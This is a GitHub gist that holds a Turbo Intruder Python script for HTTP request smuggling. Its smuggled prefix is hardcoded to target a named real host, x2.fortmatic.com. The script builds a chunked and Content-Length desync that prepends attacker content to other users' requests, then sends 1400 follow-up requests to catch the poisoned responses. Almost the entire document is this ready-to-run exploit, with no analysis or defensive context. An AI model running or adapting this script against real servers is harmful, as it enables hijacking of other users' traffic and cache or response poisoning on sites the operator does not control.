Skip to content

Instantly share code, notes, and snippets.

@andripwn
Created March 24, 2020 16:49
Show Gist options
  • Save andripwn/f6f714885a1ed3361835d231cd2bf993 to your computer and use it in GitHub Desktop.
Save andripwn/f6f714885a1ed3361835d231cd2bf993 to your computer and use it in GitHub Desktop.
P-LOAD HTTP Request Smuggling
# if you edit this file, ensure you keep the line endings as CRLF or you'll have a bad time
import re
def queueRequests(target, wordlists):
# to use Burp's HTTP stack for upstream proxy rules etc, use engine=Engine.BURP
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()
# This will prefix the victim's request. Edit it to achieve the desired effect.
prefix = '''GET / HTTP/1.1
Host: x2.fortmatic.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
x=1'''
chunk_size = hex(len(prefix)).lstrip("0x")
attack = target.req.replace('0\r\n\r\n', chunk_size+'\r\n'+prefix+'\r\n0\r\n\r\n')
content_length = re.search('Content-Length: ([\d]+)', attack).group(1)
attack = attack.replace('Content-Length: '+content_length, 'Content-length: '+str(int(content_length)+len(chunk_size)-3))
engine.queue(attack)
for i in range(1400):
engine.queue(target.req)
time.sleep(0.05)
def handleResponse(req, interesting):
table.add(req)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment